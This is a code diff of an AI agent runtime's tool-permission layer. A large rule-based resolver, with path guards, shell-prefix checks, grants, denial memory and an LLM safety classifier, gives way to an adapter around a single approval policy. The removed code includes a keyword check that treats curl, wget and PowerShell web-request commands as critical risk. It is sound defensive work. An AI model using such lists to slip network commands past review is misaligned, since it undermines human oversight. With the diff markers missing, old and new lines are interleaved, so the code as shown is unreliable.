||||
|
||||
def _grant_context(self, task: Any = None) -> tuple[str, str, str]:
|
||||
sandbox_mode = _ANY_GRANT_VALUE
|
||||
allow_network = _ANY_GRANT_VALUE
|
||||
workspace_class = _ANY_GRANT_VALUE
|
||||
if task is None:
|
||||
return sandbox_mode, allow_network, workspace_class
|
||||
metadata = getattr(task, "metadata", {}) or {}
|
||||
execution_context = dict(metadata.get("_execution_context", {}) or {})
|
||||
sandbox = dict(execution_context.get("sandbox", {}) or {})
|
||||
sandbox_mode = str(sandbox.get("mode", "") or "").strip() or _ANY_GRANT_VALUE
|
||||
allow_network = str(bool(sandbox.get("allow_network", True))).lower()
|
||||
workspace_root = (
|
||||
str(execution_context.get("workspace_root", "") or "").strip()
|
||||
or str(metadata.get("workspace_root", "") or "").strip()
|
||||
or str(metadata.get("comms_workspace_root", "") or "").strip()
|
||||
or str(metadata.get("target_output_dir", "") or "").strip()
|
||||
)
|
||||
workspace_class = "workspace" if workspace_root else "default"
|
||||
return sandbox_mode, allow_network, workspace_class
|
||||
|
||||
@staticmethod
|
||||
def _risk(value: Any, default: RiskLevel) -> RiskLevel:
|
||||
try:
|
||||
return RiskLevel(str(value or default.value))
|
||||
except Exception:
|
||||
return default
|
||||
|
||||
@staticmethod
|
||||
def _looks_like_shell_tool(tool_name: str) -> bool:
|
||||
return tool_name in {"shell_exec", "python_exec", "git_commit"}
|
||||
|
||||
def _normalized_tool_set(self, values: list[str]) -> set[str]:
|
||||
return {str(item or "").strip() for item in values if str(item or "").strip()}
|
||||
|
||||
def _matches_path_rule(self, candidate: str, rules: list[str]) -> bool:
|
||||
if not candidate or candidate == "*":
|
||||
return False
|
||||
raw = str(candidate).strip()
|
||||
for rule in rules:
|
||||
token = str(rule or "").strip()
|
||||
if not token:
|
||||
continue
|
||||
if token == "*" or raw == token:
|
||||
return True
|
||||
try:
|
||||
rule_path = Path(token).resolve()
|
||||
candidate_path = Path(raw).resolve()
|
||||
except Exception:
|
||||
if raw.startswith(token.rstrip("\\/")):
|
||||
return True
|
||||
continue
|
||||
if candidate_path == rule_path or rule_path in candidate_path.parents:
|
||||
return True
|
||||
return False
|
||||
|
||||
def _workspace_paths(self, task: Any = None) -> list[Path]:
|
||||
roots: list[Path] = []
|
||||
metadata = getattr(task, "metadata", {}) or {} if task else {}
|
||||
for raw in (
|
||||
str(metadata.get("workspace_root", "") or "").strip(),
|
||||
str(metadata.get("comms_workspace_root", "") or "").strip(),
|
||||
str(metadata.get("output_root", "") or "").strip(),
|
||||
str(metadata.get("target_output_dir", "") or "").strip(),
|
||||
):
|
||||
if not raw:
|
||||
continue
|
||||
try:
|
||||
path = Path(raw).resolve()
|
||||
except Exception:
|
||||
continue
|
||||
if path not in roots:
|
||||
roots.append(path)
|
||||
try:
|
||||
memory_root = (Path(get_opc_home()) / "memory").resolve()
|
||||
if memory_root not in roots:
|
||||
roots.append(memory_root)
|
||||
except Exception:
|
||||
pass
|
||||
if not roots:
|
||||
try:
|
||||
roots.append(Path.cwd().resolve())
|
||||
except Exception:
|
||||
pass
|
||||
return roots
|
||||
|
||||
def _path_decision(
|
||||
self,
|
||||
tool: ToolDefinition,
|
||||
arguments: dict[str, Any] | None,
|
||||
task: Any = None,
|
||||
) -> RuntimePermissionDecision | None:
|
||||
if not arguments:
|
||||
return None
|
||||
path_keys, _, _ = self._candidate_extractors()
|
||||
candidate = ""
|
||||
for key in path_keys:
|
||||
value = str(arguments.get(key, "") or "").strip()
|
||||
if value:
|
||||
candidate = value
|
||||
break
|
||||
if not candidate:
|
||||
return None
|
||||
if self._matches_path_rule(candidate, self.config.denied_paths):
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.DENY,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=RiskLevel.HIGH,
|
||||
rationale="Target path matches a denied runtime permission rule.",
|
||||
source="permission_rules",
|
||||
)
|
||||
if self._matches_path_rule(candidate, self.config.allowed_paths):
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ALLOW,
|
||||
scope=PermissionScope.PROJECT,
|
||||
risk_level=RiskLevel.LOW,
|
||||
rationale="Target path matches an explicit runtime allow rule.",
|
||||
source="permission_rules",
|
||||
)
|
||||
try:
|
||||
resolved = Path(candidate).resolve()
|
||||
except Exception:
|
||||
return None
|
||||
if tool.read_only:
|
||||
return None
|
||||
for root in self._workspace_paths(task):
|
||||
if resolved == root or root in resolved.parents:
|
||||
return None
|
||||
risk = RiskLevel.HIGH if self.config.sandbox_policy.treat_external_paths_as_high_risk else RiskLevel.MEDIUM
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ASK if self.config.fail_closed else PermissionResolution.DENY,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=risk,
|
||||
rationale="Target path is outside the current runtime workspace roots.",
|
||||
source="path_guard",
|
||||
metadata={"candidate": candidate},
|
||||
)
|
||||
|
||||
def _split_command_prefix(self, command: str) -> str:
|
||||
text = str(command or "").strip()
|
||||
if not text:
|
||||
return ""
|
||||
try:
|
||||
parts = shlex.split(text, posix=os.name != "nt")
|
||||
except Exception:
|
||||
parts = text.split()
|
||||
if not parts:
|
||||
return ""
|
||||
if len(parts) >= 2:
|
||||
return f"{parts[0]} {parts[1]}".strip()
|
||||
return parts[0]
|
||||
|
||||
def _matches_command_prefix(self, command: str, prefixes: list[str]) -> bool:
|
||||
raw = str(command or "").strip()
|
||||
prefix = self._split_command_prefix(raw)
|
||||
candidates = {raw, prefix}
|
||||
for item in prefixes:
|
||||
token = str(item or "").strip()
|
||||
if not token:
|
||||
continue
|
||||
if raw == token or prefix == token:
|
||||
return True
|
||||
if raw.startswith(f"{token} ") or prefix.startswith(f"{token} "):
|
||||
return True
|
||||
return False
|
||||
|
||||
def _split_shell_command_segments(self, command: str) -> list[list[str]]:
|
||||
text = str(command or "").replace("\r\n", "\n").replace("\n", " ; ").strip()
|
||||
if not text:
|
||||
return []
|
||||
try:
|
||||
lexer = shlex.shlex(text, posix=os.name != "nt", punctuation_chars=";&|")
|
||||
lexer.whitespace_split = True
|
||||
lexer.commenters = ""
|
||||
tokens = list(lexer)
|
||||
except Exception:
|
||||
try:
|
||||
tokens = shlex.split(text, posix=os.name != "nt")
|
||||
except Exception:
|
||||
tokens = text.split()
|
||||
|
||||
segments: list[list[str]] = []
|
||||
current: list[str] = []
|
||||
for token in tokens:
|
||||
if token in {"&&", "||", ";", "|", "&"}:
|
||||
if current:
|
||||
segments.append(current)
|
||||
current = []
|
||||
continue
|
||||
current.append(token)
|
||||
if current:
|
||||
segments.append(current)
|
||||
return segments
|
||||
|
||||
def _command_has_redirection(self, command: str) -> bool:
|
||||
text = str(command or "").replace("\r\n", "\n").replace("\n", " ; ").strip()
|
||||
if not text:
|
||||
return False
|
||||
try:
|
||||
lexer = shlex.shlex(text, posix=os.name != "nt", punctuation_chars=";&|<>")
|
||||
lexer.whitespace_split = True
|
||||
lexer.commenters = ""
|
||||
tokens = list(lexer)
|
||||
except Exception:
|
||||
return any(marker in text for marker in (">", "<"))
|
||||
return any(token in {">", ">>", "<", "<<"} for token in tokens)
|
||||
|
||||
def _matches_safe_shell_prefix(self, command: str, prefixes: list[str]) -> bool:
|
||||
cleaned = " ".join(str(command or "").split()).strip()
|
||||
if not cleaned or self._command_has_redirection(cleaned):
|
||||
return False
|
||||
segments = self._split_shell_command_segments(cleaned)
|
||||
if len(segments) != 1:
|
||||
return False
|
||||
return self._matches_command_prefix(" ".join(segments[0]).strip(), prefixes)
|
||||
|
||||
def _shell_ast_reason(self, command: str) -> tuple[RiskLevel, str] | None:
|
||||
lowered = str(command or "").strip().lower()
|
||||
if not lowered:
|
||||
return None
|
||||
if lowered in _READ_ONLY_PREFIXES or self._matches_command_prefix(lowered, list(_READ_ONLY_PREFIXES)):
|
||||
return RiskLevel.LOW, "Command matches a read-only shell prefix."
|
||||
for keyword in _RISKY_SHELL_KEYWORDS:
|
||||
if keyword in lowered:
|
||||
risk = RiskLevel.HIGH
|
||||
if keyword in {"curl ", "wget ", "invoke-webrequest", "invoke-restmethod"} and self.config.sandbox_policy.treat_network_as_risky:
|
||||
risk = RiskLevel.CRITICAL
|
||||
return risk, f"Command contains risky shell operation `{keyword.strip()}`."
|
||||
return RiskLevel.MEDIUM, "Shell AST classifier could not prove the command is read-only."
|
||||
|
||||
def _shell_decision(
|
||||
self,
|
||||
tool: ToolDefinition,
|
||||
arguments: dict[str, Any] | None,
|
||||
tool: Any,
|
||||
arguments: dict[str, Any] | None = None,
|
||||
*,
|
||||
task: Any = None,
|
||||
) -> RuntimePermissionDecision | None:
|
||||
if not self._looks_like_shell_tool(tool.name) or not arguments:
|
||||
return None
|
||||
_, command_keys, _ = self._candidate_extractors()
|
||||
command = ""
|
||||
for key in command_keys:
|
||||
value = str(arguments.get(key, "") or "").strip()
|
||||
if value:
|
||||
command = value
|
||||
break
|
||||
if not command:
|
||||
return None
|
||||
projection_scoped_low_risk = is_projection_scoped_acquisition_shell_command(
|
||||
command=command,
|
||||
task=task,
|
||||
working_directory=str(arguments.get("working_directory", "") or arguments.get("workdir", "") or "").strip(),
|
||||
target_output_dir=str(getattr(task, "metadata", {}).get("target_output_dir", "") or "").strip() if task else "",
|
||||
)
|
||||
if projection_scoped_low_risk:
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ALLOW,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=RiskLevel.LOW,
|
||||
rationale="Command matches a work-item-scoped acquisition prefix inside the assigned workspace.",
|
||||
source="shell_prefix",
|
||||
metadata={"candidate": command},
|
||||
)
|
||||
for pattern in self.config.dangerous_shell_patterns:
|
||||
if pattern and re.search(pattern, command, flags=re.IGNORECASE):
|
||||
) -> RuntimePermissionDecision:
|
||||
if self.policy is not None:
|
||||
try:
|
||||
return self.policy.predict(tool, arguments, task=task)
|
||||
except Exception:
|
||||
logger.opt(exception=True).warning(
|
||||
"Permission predictor failed; falling back to ask-first default"
|
||||
)
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ASK,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=RiskLevel.CRITICAL,
|
||||
rationale=f"Command matched dangerous shell pattern `{pattern}`.",
|
||||
source="shell_pattern",
|
||||
metadata={"candidate": command},
|
||||
risk_level=RiskLevel.MEDIUM,
|
||||
rationale="Permission predictor failed; requiring explicit review.",
|
||||
source="runtime_prediction",
|
||||
)
|
||||
filtered_safe_prefixes = [
|
||||
item for item in self.config.safe_shell_prefixes
|
||||
if str(item or "").strip() not in _ACQUISITION_SHELL_PREFIXES
|
||||
]
|
||||
if self._matches_safe_shell_prefix(command, filtered_safe_prefixes):
|
||||
if tool is None:
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ALLOW,
|
||||
resolution=PermissionResolution.ASK,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=RiskLevel.LOW,
|
||||
rationale="Command matches a safe shell prefix.",
|
||||
source="shell_prefix",
|
||||
metadata={"candidate": command},
|
||||
risk_level=RiskLevel.HIGH,
|
||||
rationale="Unknown tool requires manual review.",
|
||||
source="runtime_prediction",
|
||||
)
|
||||
if self._matches_command_prefix(command, self.config.ask_shell_prefixes):
|
||||
if bool(getattr(tool, "requires_confirmation", False)):
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ASK,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=RiskLevel.MEDIUM,
|
||||
rationale="Command matches an ask-first shell prefix.",
|
||||
source="shell_prefix",
|
||||
metadata={"candidate": command},
|
||||
rationale="Tool is marked as requiring confirmation.",
|
||||
source="runtime_prediction",
|
||||
)
|
||||
if self.config.shell_ast_validation:
|
||||
risk, rationale = self._shell_ast_reason(command) or (RiskLevel.MEDIUM, "Shell command requires manual review.")
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ALLOW if risk == RiskLevel.LOW else PermissionResolution.ASK,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=risk,
|
||||
rationale=rationale,
|
||||
source="shell_ast",
|
||||
metadata={"candidate": command},
|
||||
)
|
||||
if tool.requires_confirmation or self.config.fail_closed:
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ASK,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=RiskLevel.HIGH if not tool.read_only else RiskLevel.MEDIUM,
|
||||
rationale="Shell command requires explicit approval under runtime_v2.",
|
||||
source="shell_guard",
|
||||
metadata={"candidate": command},
|
||||
)
|
||||
return None
|
||||
|
||||
def _candidate_matches(self, candidate: str, granted_candidate: str) -> bool:
|
||||
if granted_candidate == _ANY_GRANT_VALUE:
|
||||
return True
|
||||
if candidate == granted_candidate:
|
||||
return True
|
||||
return candidate.startswith(granted_candidate.rstrip("\\/"))
|
||||
|
||||
@staticmethod
|
||||
def _sandbox_rank(mode: str) -> int:
|
||||
return {
|
||||
"workspace-write": 1,
|
||||
"elevated": 2,
|
||||
"off": 3,
|
||||
}.get(str(mode or "").strip().lower(), 0)
|
||||
|
||||
def _match_grant(self, grants: set[tuple[str, str, str, str, str]], tool_name: str, candidate: str, *, task: Any = None) -> bool:
|
||||
if not grants:
|
||||
return False
|
||||
sandbox_mode, allow_network, workspace_class = self._grant_context(task)
|
||||
for grant_tool, grant_candidate, grant_sandbox_mode, grant_allow_network, grant_workspace_class in grants:
|
||||
if grant_tool != tool_name:
|
||||
continue
|
||||
if not self._candidate_matches(candidate, grant_candidate):
|
||||
continue
|
||||
if grant_sandbox_mode not in {_ANY_GRANT_VALUE, sandbox_mode}:
|
||||
if not (
|
||||
self.config.guardian.cache_upgrade_context
|
||||
and self._sandbox_rank(sandbox_mode) >= self._sandbox_rank(grant_sandbox_mode)
|
||||
):
|
||||
continue
|
||||
if grant_allow_network not in {_ANY_GRANT_VALUE, allow_network}:
|
||||
continue
|
||||
if grant_workspace_class not in {_ANY_GRANT_VALUE, workspace_class}:
|
||||
continue
|
||||
return True
|
||||
return False
|
||||
|
||||
def _denial_memory_key(self, tool_name: str, arguments: dict[str, Any] | None) -> str:
|
||||
return f"{tool_name}:{self._candidate(arguments)}"
|
||||
|
||||
def record_denial(self, tool_name: str, arguments: dict[str, Any] | None) -> None:
|
||||
if not self.config.denial_memory.enabled:
|
||||
return
|
||||
key = self._denial_memory_key(tool_name, arguments)
|
||||
self._denial_counts[key] = self._denial_counts.get(key, 0) + 1
|
||||
|
||||
def _repeat_denial_decision(self, tool_name: str, arguments: dict[str, Any] | None) -> RuntimePermissionDecision | None:
|
||||
if not self.config.denial_memory.enabled:
|
||||
return None
|
||||
key = self._denial_memory_key(tool_name, arguments)
|
||||
repeats = self._denial_counts.get(key, 0)
|
||||
if repeats < max(1, self.config.denial_memory.repeat_threshold):
|
||||
return None
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.DENY,
|
||||
resolution=PermissionResolution.ALLOW,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=RiskLevel.HIGH,
|
||||
rationale="Repeated denial memory indicates this action should stop and ask for a new plan.",
|
||||
source="denial_memory",
|
||||
metadata={"repeated_denials": repeats},
|
||||
risk_level=RiskLevel.LOW,
|
||||
rationale="No permission policy configured.",
|
||||
source="runtime_prediction",
|
||||
)
|
||||
|
||||
def record_denial(self, tool_name: str, arguments: dict[str, Any] | None = None) -> None:
|
||||
if self.policy is not None and hasattr(self.policy, "record_denial"):
|
||||
try:
|
||||
self.policy.record_denial(tool_name, arguments)
|
||||
except Exception:
|
||||
logger.opt(exception=True).debug("Failed to record permission denial")
|
||||
|
||||
def build_blocked_result(
|
||||
self,
|
||||
decision: RuntimePermissionDecision,
|
||||
@@ -556,7 +121,7 @@ class ToolPermissionResolver:
|
||||
arguments: dict[str, Any] | None = None,
|
||||
) -> dict[str, Any]:
|
||||
action = "reject" if decision.resolution == PermissionResolution.DENY else "require_input"
|
||||
candidate = self._candidate(arguments)
|
||||
candidate = _candidate(arguments)
|
||||
return {
|
||||
"error": decision.rationale or f"Runtime permission blocked `{tool_name}`.",
|
||||
"success": False,
|
||||
@@ -578,188 +143,24 @@ class ToolPermissionResolver:
|
||||
},
|
||||
}
|
||||
|
||||
def predicted_decision(
|
||||
self,
|
||||
tool: ToolDefinition | None,
|
||||
arguments: dict[str, Any] | None = None,
|
||||
*,
|
||||
task: Any = None,
|
||||
) -> RuntimePermissionDecision:
|
||||
if tool is None:
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ASK if self.config.fail_closed else PermissionResolution.DENY,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=RiskLevel.HIGH,
|
||||
rationale="Unknown tool requires manual review.",
|
||||
source="runtime_prediction",
|
||||
)
|
||||
tool_name = tool.name
|
||||
candidate = self._candidate(arguments)
|
||||
repeated_denial = self._repeat_denial_decision(tool_name, arguments)
|
||||
if repeated_denial is not None:
|
||||
return repeated_denial
|
||||
if tool_name in self._normalized_tool_set(self.config.deny_tools):
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.DENY,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=RiskLevel.HIGH,
|
||||
rationale="Tool is explicitly denied by runtime permission rules.",
|
||||
source="permission_rules",
|
||||
)
|
||||
if self._match_grant(self._session_grants, tool_name, candidate, task=task):
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ALLOW,
|
||||
scope=PermissionScope.SESSION,
|
||||
risk_level=RiskLevel.LOW,
|
||||
rationale="Allowed by runtime session grant.",
|
||||
source="runtime_session_grant",
|
||||
)
|
||||
if self._match_grant(self._project_grants, tool_name, candidate, task=task):
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ALLOW,
|
||||
scope=PermissionScope.PROJECT,
|
||||
risk_level=RiskLevel.LOW,
|
||||
rationale="Allowed by persisted project grant.",
|
||||
source="runtime_project_grant",
|
||||
)
|
||||
if self._match_grant(self._global_grants, tool_name, candidate, task=task):
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ALLOW,
|
||||
scope=PermissionScope.GLOBAL,
|
||||
risk_level=RiskLevel.LOW,
|
||||
rationale="Allowed by persisted global grant.",
|
||||
source="runtime_global_grant",
|
||||
)
|
||||
if tool_name in self._normalized_tool_set(self.config.allow_tools):
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ALLOW,
|
||||
scope=PermissionScope.PROJECT,
|
||||
risk_level=RiskLevel.LOW,
|
||||
rationale="Tool is explicitly allowed by runtime permission rules.",
|
||||
source="permission_rules",
|
||||
)
|
||||
path_decision = self._path_decision(tool, arguments, task=task)
|
||||
if path_decision is not None:
|
||||
return path_decision
|
||||
shell_decision = self._shell_decision(tool, arguments, task=task)
|
||||
if shell_decision is not None:
|
||||
return shell_decision
|
||||
if tool.requires_confirmation:
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ASK,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=RiskLevel.MEDIUM,
|
||||
rationale="Tool is marked as requiring confirmation.",
|
||||
source="runtime_prediction",
|
||||
metadata={"candidate": candidate},
|
||||
)
|
||||
if self.config.guardian.enabled and self.config.guardian.auto_allow_read_only and tool.read_only:
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ALLOW,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=RiskLevel.LOW,
|
||||
rationale="Guardian pre-check marked the tool as deterministic read-only.",
|
||||
source="guardian",
|
||||
metadata={"candidate": candidate},
|
||||
)
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ALLOW,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=RiskLevel.LOW,
|
||||
rationale="No runtime permission warning triggered.",
|
||||
source="runtime_prediction",
|
||||
metadata={"candidate": candidate},
|
||||
)
|
||||
|
||||
async def refine_decision(
|
||||
self,
|
||||
decision: RuntimePermissionDecision,
|
||||
*,
|
||||
tool: ToolDefinition | None,
|
||||
arguments: dict[str, Any] | None,
|
||||
task: Any = None,
|
||||
) -> RuntimePermissionDecision:
|
||||
if decision.resolution != PermissionResolution.ASK:
|
||||
return decision
|
||||
if not self.config.classifier_enabled or not self.config.llm_classifier_model or self.llm is None or tool is None:
|
||||
return decision
|
||||
payload = {
|
||||
"tool_name": tool.name,
|
||||
"arguments": arguments or {},
|
||||
"candidate": self._candidate(arguments),
|
||||
"project_id": getattr(task, "project_id", self.project_id),
|
||||
"heuristic_rationale": decision.rationale,
|
||||
}
|
||||
def _validate_classifier(parsed: Any) -> str | None:
|
||||
if not isinstance(parsed, dict):
|
||||
return "Top-level response must be a JSON object."
|
||||
try:
|
||||
score_val = float(parsed.get("score", 0.5) or 0.5)
|
||||
except (TypeError, ValueError):
|
||||
return "`score` must be a number between 0 and 1."
|
||||
if score_val < 0 or score_val > 1:
|
||||
return "`score` must be a number between 0 and 1."
|
||||
return None
|
||||
|
||||
try:
|
||||
parsed = await call_llm_json_with_retry(
|
||||
self.llm,
|
||||
system=(
|
||||
"You are a runtime permission classifier.\n"
|
||||
"Return strict JSON with keys `score` and `reason`.\n"
|
||||
"`score` is a float between 0 and 1 where 0 is clearly safe and 1 is clearly unsafe.\n"
|
||||
"Classify file mutation, shell execution, path escape risk, and network side effects conservatively."
|
||||
),
|
||||
payload=payload,
|
||||
task_type="quick_tasks",
|
||||
validator=_validate_classifier,
|
||||
label="runtime_permission_classifier",
|
||||
)
|
||||
except LLMRetryError:
|
||||
return decision
|
||||
score = float(parsed.get("score", 0.5) or 0.5)
|
||||
reason = str(parsed.get("reason", "") or decision.rationale)
|
||||
thresholds = self.config.classifier_thresholds
|
||||
if score <= thresholds.allow:
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ALLOW,
|
||||
scope=decision.scope,
|
||||
risk_level=RiskLevel.LOW,
|
||||
rationale=reason or "Classifier marked the action safe.",
|
||||
source="llm_classifier",
|
||||
metadata={**dict(decision.metadata or {}), "classifier_score": score},
|
||||
)
|
||||
if score >= thresholds.deny:
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.DENY,
|
||||
scope=decision.scope,
|
||||
risk_level=RiskLevel.HIGH,
|
||||
rationale=reason or "Classifier marked the action unsafe.",
|
||||
source="llm_classifier",
|
||||
metadata={**dict(decision.metadata or {}), "classifier_score": score},
|
||||
)
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ASK,
|
||||
scope=decision.scope,
|
||||
risk_level=RiskLevel.MEDIUM if score < thresholds.ask else RiskLevel.HIGH,
|
||||
rationale=reason or decision.rationale,
|
||||
source="llm_classifier",
|
||||
metadata={**dict(decision.metadata or {}), "classifier_score": score},
|
||||
)
|
||||
|
||||
def decision_from_result(
|
||||
self,
|
||||
tool_name: str,
|
||||
arguments: dict[str, Any] | None,
|
||||
result: dict[str, Any],
|
||||
) -> RuntimePermissionDecision:
|
||||
"""Map a tool result back to the permission decision it reflects.
|
||||
|
||||
Pure event classification — grants are persisted by ApprovalEngine at
|
||||
decision time, never here.
|
||||
"""
|
||||
approval = dict(result.get("approval", {}) or {})
|
||||
action = str(approval.get("action", "") or "").strip().lower()
|
||||
if action in {"require_input", "escalate"}:
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ASK,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=self._risk(approval.get("risk_level"), RiskLevel.MEDIUM),
|
||||
risk_level=_risk(approval.get("risk_level"), RiskLevel.MEDIUM),
|
||||
rationale=str(result.get("error", "") or "Awaiting explicit permission."),
|
||||
source="approval_engine",
|
||||
metadata=approval,
|
||||
@@ -769,53 +170,20 @@ class ToolPermissionResolver:
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.DENY,
|
||||
scope=PermissionScope.ONCE,
|
||||
risk_level=self._risk(approval.get("risk_level"), RiskLevel.HIGH),
|
||||
risk_level=_risk(approval.get("risk_level"), RiskLevel.HIGH),
|
||||
rationale=str(result.get("error", "") or "Permission denied."),
|
||||
source="approval_engine",
|
||||
metadata=approval,
|
||||
)
|
||||
human_reply = str(approval.get("human_reply") or result.get("human_reply") or "").strip().lower()
|
||||
candidate = self._candidate(arguments)
|
||||
grant = self._grant_key(
|
||||
tool_name,
|
||||
candidate,
|
||||
sandbox_mode=_ANY_GRANT_VALUE,
|
||||
allow_network=_ANY_GRANT_VALUE,
|
||||
workspace_class=_ANY_GRANT_VALUE,
|
||||
)
|
||||
if human_reply == "approve_session":
|
||||
self._session_grants.add(grant)
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ALLOW,
|
||||
scope=PermissionScope.SESSION,
|
||||
risk_level=RiskLevel.LOW,
|
||||
rationale="Approved for this runtime session.",
|
||||
source="human_escalation",
|
||||
metadata=approval,
|
||||
)
|
||||
if human_reply == "always_project":
|
||||
self._project_grants.add(grant)
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ALLOW,
|
||||
scope=PermissionScope.PROJECT,
|
||||
risk_level=RiskLevel.LOW,
|
||||
rationale="Approved for this project.",
|
||||
source="human_escalation",
|
||||
metadata=approval,
|
||||
)
|
||||
if human_reply == "always_global":
|
||||
self._global_grants.add(grant)
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ALLOW,
|
||||
scope=PermissionScope.GLOBAL,
|
||||
risk_level=RiskLevel.LOW,
|
||||
rationale="Approved globally.",
|
||||
source="human_escalation",
|
||||
metadata=approval,
|
||||
)
|
||||
scope = {
|
||||
"approve_session": PermissionScope.SESSION,
|
||||
"always_project": PermissionScope.PROJECT,
|
||||
"always_global": PermissionScope.GLOBAL,
|
||||
}.get(human_reply, PermissionScope.ONCE)
|
||||
return RuntimePermissionDecision(
|
||||
resolution=PermissionResolution.ALLOW,
|
||||
scope=PermissionScope.ONCE,
|
||||
scope=scope,
|
||||
risk_level=RiskLevel.LOW,
|
||||
rationale="Tool execution allowed.",
|
||||
source="approval_engine",
|
||||
|
||||
@@ -22,7 +22,7 @@ from opc.layer2_organization.work_item_identity import (
|
||||
turn_type_for_task,
|
||||
work_item_identity_payload_for_task,
|
||||
)
|
||||
from opc.layer3_agent.runtime_v2.permissions import ToolPermissionResolver
|
||||
from opc.layer3_agent.runtime_v2.permissions import RuntimePermissionAdapter
|
||||
from opc.layer3_agent.runtime_v2.streaming_tool_executor import StreamingToolExecutor
|
||||
from opc.layer3_agent.runtime_v2.subagents import ChildAgentFactory, SubagentManager
|
||||
from opc.layer3_agent.runtime_v2.tool_hooks import RuntimeToolHookBus, RuntimeToolHookContext
|
||||
@@ -69,6 +69,7 @@ class NativeRuntimeV2:
|
||||
config: OPCConfig | None = None,
|
||||
child_agent_factory: ChildAgentFactory | None = None,
|
||||
approval_callback: ApprovalCallback | None = None,
|
||||
permission_policy: Any | None = None,
|
||||
prefetch_provider: PrefetchProvider | None = None,
|
||||
) -> None:
|
||||
self.llm = llm
|
||||
@@ -82,6 +83,9 @@ class NativeRuntimeV2:
|
||||
self.config = config or OPCConfig()
|
||||
self.child_agent_factory = child_agent_factory
|
||||
self.approval_callback = approval_callback
|
||||
# The single permission policy (ApprovalEngine). Its sync predict()
|
||||
# gates every tool call; ASK routes into approval_callback.
|
||||
self.permission_policy = permission_policy
|
||||
self.prefetch_provider = prefetch_provider
|
||||
self._pre_tool_hooks: list[tuple[str, Any]] = []
|
||||
self._post_tool_hooks: list[tuple[str, Any]] = []
|
||||
@@ -111,7 +115,6 @@ class NativeRuntimeV2:
|
||||
ensure_task_execution_context(task, self.config)
|
||||
runtime_session_id = self._runtime_session_id(task)
|
||||
conversation_turn_id = self._conversation_turn_id(task, runtime_session_id)
|
||||
permission_session_id = self._permission_session_id(task, runtime_session_id)
|
||||
user_content = self.llm.prepare_user_message_content(
|
||||
user_message,
|
||||
attachment_refs=attachment_refs,
|
||||
@@ -128,14 +131,10 @@ class NativeRuntimeV2:
|
||||
self.tools,
|
||||
max_parallel_read_tools=self.config.system.native_runtime.max_parallel_read_tools,
|
||||
)
|
||||
permission_resolver = ToolPermissionResolver(
|
||||
self.config.autonomy.permissions_v2,
|
||||
store=getattr(self.memory_manager, "store", None),
|
||||
runtime_session_id=permission_session_id,
|
||||
project_id=task.project_id if task else "default",
|
||||
llm=self.llm,
|
||||
permission_resolver = RuntimePermissionAdapter(
|
||||
self.permission_policy,
|
||||
guardian=self.config.autonomy.permissions_v2.guardian,
|
||||
)
|
||||
await permission_resolver.warmup()
|
||||
todo_state: list[dict[str, Any]] = self._restore_task_ledger(task)
|
||||
current_runtime_messages: list[dict[str, Any]] = []
|
||||
runtime_status: dict[str, Any] = {
|
||||
@@ -797,7 +796,6 @@ class NativeRuntimeV2:
|
||||
compaction_boundaries=compaction_boundaries,
|
||||
active_subagents=active_subagents,
|
||||
)
|
||||
await self._persist_permission_grants(permission_session_id, task, execution_results)
|
||||
early_return = self._handle_pause_or_peer_wait(
|
||||
execution_results,
|
||||
aggregated_artifacts,
|
||||
@@ -962,18 +960,12 @@ class NativeRuntimeV2:
|
||||
normalized_turn_id = f"turn:{uuid.uuid4().hex}"
|
||||
return f"{normalized_turn_id}:iter:{iteration + 1}"
|
||||
|
||||
def _permission_session_id(self, task: Task | None, runtime_session_id: str) -> str:
|
||||
if not task:
|
||||
return runtime_session_id
|
||||
bridged = str(task.metadata.get("_permission_bridge_runtime_session_id", "") or "").strip()
|
||||
return bridged or runtime_session_id
|
||||
|
||||
def _build_tool_hook_bus(
|
||||
self,
|
||||
*,
|
||||
runtime_session_id: str,
|
||||
task: Task | None,
|
||||
permission_resolver: ToolPermissionResolver,
|
||||
